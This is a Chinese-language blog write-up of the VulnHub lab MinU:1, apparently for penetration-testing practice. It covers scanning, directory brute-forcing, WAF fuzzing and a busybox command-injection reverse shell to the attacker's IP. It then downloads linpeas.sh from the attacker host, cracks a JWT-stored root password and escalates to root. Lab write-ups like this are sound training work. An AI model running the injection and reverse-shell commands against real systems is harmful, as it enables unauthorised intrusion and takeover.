【MinU:1渗透笔记】

1.前言

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场。这里使用的技术仅用于学习交流目的,不做任何导向,请勿在现实环境中模仿,操作。本文涉及到的工具,仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/minu/MinUv1.ova.7z

难度:简单/中等

镜像下载完成后使用VirtualBox导入,网络选择桥接模式,开启靶机,目标是获取root目录下的flag。

获得靶机IP:192.168.1.112

本机kali IP:192.168.1.113

准备工作完成,可以开始试验了。

3.网络扫描

nmap  -A  192.168.1.112

查看目标主机是否在线,开放了哪些端口,提供了哪些服务及版本,可以知道目标主机可能使用了哪些软件及版本,根据不同的软件查找漏洞或突破点。

发现开放了25、80、110端口,25端口为SMTP服务,110端口为POP3,80端口嗅探出了Ubuntu系统,HTTP服务,使用的是Apache软件,版本为2.4.27。

通过浏览器访问目标机器80端口。

看到是apache的初始服务页面,80端口开放了HTTP服务,没有发现其他有用的信息

4.目录爆破

4.1dirb 目录爆破

靶机存在web网站,猜测服务端是一定有目录的,可以试一下目录爆破,这里使用dirb,也可以使用其他目录爆破工具。dirb是一个基于字典的web目录扫描工具,查找现有的(和/或隐藏的)Web对象,通过对Web服务器发起基于字典的攻击并分析响应的数据。采用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站,是在信息收集阶段获取目标信息常用工具手段。

dirb 192.168.1.112

扫描结果的状态码中大部分都是403,如果大批量出现403,说明前端是存在安全防护机制的,要么是waf要么是防御脚本。上面的爆破只有一个index.html返回的是200,访问发现就是刚才的主页。加大爆破力度。在很多情况下,我们需要在目标服务器上提取特定扩展名的目录,然后可以使用dirb扫描的-X参数。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。

通过Wappalyzer工具可以查看Web网站使用了哪些技术。可以看到网站使用了PHP语言,同时也可以看到Apache HTTP Server 版本、系统,与我们在nmap中嗅探的一样。我们可以加上扩展名php。此外,我们知道很多网站用PHP,可以单独扫一扫PHP文件。

dirb http://192.168.1.112/ -X .php

发现存在http://192.168.1.112/test.php(CODE:200|SIZE:1986)

4.2 dirsearch 目录爆破

直接使用dirsearch 目录扫描工具,可以直接扫描出结果,还可以使用御剑。

dirsearch  -u  192.168.1.112

 

访问 http://192.168.1.112/test.php。显示如下图

从页面中看到Read last visitor data,读取上次访问者数据,是个超链接。这里可能存在数据泄露,我们点击它看看。点击超链接后页面跳转如下。

在页面的地址栏中发现test.php?file=last.html。通常?file= 可能存在文件包含漏洞、sql注入漏洞、远程代码执行漏洞。

重新构造URL测试,http://192.168.1.112/test.php?file=../../../../../../etc/

报403错误,联系到前面目录爆破时候大量报403错误,猜测网络服务器处于网络应用防火墙(WAF ,Web Application Firewall)的保护状态,尝试绕过。

5.WAF绕过

5.1wafw00f

使用wafw00f进行waf探测,wafw00f是一个Web应用防火墙(WAF)指纹识别的工具。

wafwoof工作原理:

1、首先通过发送一个正常http请求,然后观察其返回有没有一些特征字符.

2、如果不成功,它将发送大量(潜在的恶意) HTTP 请求,并使用简单的逻辑推断出它是哪个WAF.

3、如果这也不成功,它将分析以前返回的响应,并使用另一个简单的算法来猜测WAF或安全解决方案是否正在积极响应我们的攻击.

wafw00f  http://192.168.1.112

显示存在WAF,但是没有识别出具体是什么WAF。网上资料显示,老版本的wafw00f可以探测出是ModSecurity (OWASP CRS),笔者没有降低自己机器wafwoof版本验证,知道了具体WAF类型之后可以网上检索绕过方法,这里知道有WAF之后,直接使用Fuzz模糊测试。

5.2 Fuzz模糊测试

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.1.112/test.php?file=FUZZ

wfuzz参数-c输出颜色,-z payload

这里探测出来很多结果,200反馈的都可以手工试一试,看是否能绕过,注意有的绕过方式自身可以绕过,但是接不同的命令就不能绕过了,或者只能执行部分命令,如果命令后面需要跟参数就更不行了,这不是我们需要的绕过方式。

例如,| 绕过,使用http://192.168..1.112/test.php?file=| dir 可以绕过

但是URL最后的命令换成ls就不能绕过,http://192.168.1.112/test.php?file=| ls

 5.3 二进制绕过WAF

有一些精心选择的Unix二进制文件,可用于绕过配置错误的系统中的本地安全限制。有一个提供包含二进制文件列表的网站:GTFOBins。里面的的busybox可以绕过waf。

根据二进制绕过WAF,反弹shell到攻击机上。

在攻击机上用nc监听6789端口,然后在浏览器上执行反弹shell。

启动nc监听:nc  -vlp  6789

反弹shell:http://192.168.1.112/test.php?file=YL;busybox nc 192.168.1.113 6789 -e sh

 反弹连接成功,但是显示的时候没有环境变量,每个二进制文件都包含环境变量,可以添加参数-i。

http://192.168.1.112/test.php?file=YL;busybox nc 192.168.1.113 6789 -e sh -i

6.提权

以上步骤已经获得了目标系统的用户权限,但是不是管理员权限,我们期望获得管理员的权限,获得管理员的账号/密码,完全控制目标机器,执行任意操作。

6.1 内部信息收集

使用命令 uname  -a

我们得知了操作系统版本信息,是32位系统。

我们可以使用Linux提取辅助工具,linpeas.sh脚本。脚本位于:PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub

使用命令curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh >  linpeas.sh

下载到本地,然后上传到目标机器上并执行。

在攻击机器上启动HTTP服务,用于靶机从攻击机下载文件。

python -m http.server 80           #pyhton3中启动方式

python -m SimpleHTTPServer 8081    #python2启动方式

 使用wget命令从攻击机上传linpeas.sh到靶机。

wget http://192.168.1.113:8081/linpeas.sh -O /tmp/linpeas.sh

使用chmod,授予linpeas.sh执行权限并运行它。

chmod 777 linpeas.sh

 ./linpeas.sh

 这个脚本可以枚举很多有用的信息,比如一些CVE,隐藏文件,密码文件等等。

6.2 JWT解密

在目标系统中/home/bob目录下发现隐藏文件._pw_。显示看一下,怀疑是某种base64密文。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

 把密文放到burp中作为base64解码看看。

 发现是JWT(JSON Web 令牌)。找个JWT解密工具破解。

 解密出来密码是mlnV1

在反弹的shell中输入su root ,切换用户,没有反应。

原因是获取的shell不是一个标准的虚拟终端环境,会在一个功能非常有限的 shell 中,它仅仅是一个标准输入。我们会发现存在一个问题,就是即使我们获取了目标虚拟终端控制权限,但其回显信息与可交互性非常的差和不稳定,具体见情况有以下几个种。•获取的虚拟终端没有交互性,例如没有命令历史记录(并使用向上和向下箭头循环浏览它们)和文件名称、命令自动完成等,在缺少这些功能的 shell 中查询或操作会比较麻烦。我们想给添加的账号设置密码或执行sudo等命令,无法完成。•标准的错误输出无法显示,无法正常使用vim等文本编辑器等。•获取的目标主机的虚拟终端使用非常不稳定,很容易断开连接。这往往都是因为我们获取的shell并不是标准的虚拟终端,为了能够完成切换用户、输入密码等操作,我们必须模拟一个真正的终端设备。

在反弹的shell连接中输入

SHELL=/bin/bash script -q /dev/null

su root

然后输入密码mlnV1,在/root目录下即可看到flag.txt

7. 结语

通过这个实验,学习了nmap扫描、dirb目录爆破、WAF绕过、反弹shell、文件上传、JWT解密等等。渗透还是需要多动手实操作,重要的是清晰的思路,在每个步骤都有很多解决方案,用好Google。最后希望各位师傅多多指点!!!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值